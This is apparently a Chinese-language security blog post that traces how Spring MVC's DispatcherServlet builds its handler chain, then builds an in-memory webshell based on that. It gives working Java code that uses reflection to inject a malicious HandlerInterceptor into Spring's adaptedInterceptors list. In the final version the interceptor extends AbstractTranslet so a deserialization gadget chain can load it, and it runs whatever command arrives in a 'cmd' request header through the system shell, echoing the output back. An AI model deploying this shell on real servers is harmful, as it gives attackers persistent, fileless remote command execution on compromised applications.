SpringInterceptorMemoryshell

  1. 1. Interceptor
  2. 2. 内存马编写
  3. 3. 总结

Interceptor

尝试自己分析编写,不看参考文章。

1650462237770.png

生成Handler的过程,在org.springframework.web.servlet.DispatcherServlet#doDispatch里调用了getHandler,参数为request

1652165887514.png

遍历handlerMappings,并调用其getHandler,如果处理之后handler不为null则返回handler

1652166445146.png

1652166305682.png

来到了org.springframework.web.servlet.handler.AbstractHandlerMapping的getHandler方法

生成handler的过程不是重点,不过可以看看最后结果

1652166700316.png

com.example.springdemo.Controller.TestController是我自定义的Controller,里面有个index()方法。这是流程图里Handler处理逻辑业务的部分。

在下面调用了getHandlerExecutionChain

1652191659844.png

1652167125762.png

遍历this.adaptedInterceptors,并添加到chain里,chain是一个HandlerExecutionChain对象,最后getHandler返回了这个对象

1652167263198.png

这个对象也就是最后返回的handler

1652167335328.png

回到org.springframework.web.servlet.DispatcherServlet#doDispatch,跳出getHandler之后,来到下面

1652167664088.png

调用了handler的applyPreHandle

1652167782071.png

遍历所有Interceptor调用preHandle方法。

所以shell的思路是添加我们自定义的Interceptor,并且把恶意方法卸载preHandler里。

内存马编写

我的思路是

1.想办法获取AbstractHandlerMapping,这里其实是其子类RequestMappingHandlerMapping

2.获取AbstractHandlerMappingadaptedInterceptors属性,添加我们的Interceptor

先测试一下,写个恶意Interceptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.example.springdemo;

import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class EvilInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception{
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
return true;
}
}

写个Controller

1
2
3
4
5
6
7
8
9
10
11
12
@ResponseBody
@RequestMapping({"/test"})
public String index() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>)field.get(abstractHandlerMapping);
EvilInterceptor ei = new EvilInterceptor();
adaptedInterceptors.add(ei);
return "ok";
}

1652189458273.png

访问两次即可执行命令,第一次访问时为了完成添加Interceptor的过程。

测试思路确实可行,之后是汇总,加上回显,继承AbstractTranslet使一些链子可以加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;

public class EvilInterceptor extends AbstractTranslet implements HandlerInterceptor {
public EvilInterceptor() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>)field.get(abstractHandlerMapping);
EvilInterceptor ei = new EvilInterceptor("fmyyy");//得用另外的构造函数,不然栈溢出
adaptedInterceptors.add(ei);
}
public EvilInterceptor(String fmyyy){

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
return true;
}
}

打个反序列化注一下

1652191158284.png

总结

第一次不看文章自己按照以前的学到的思路分析一个内存马,虽然花的时间更多,但收获也更多,希望以后自己能更耐心的审计长代码。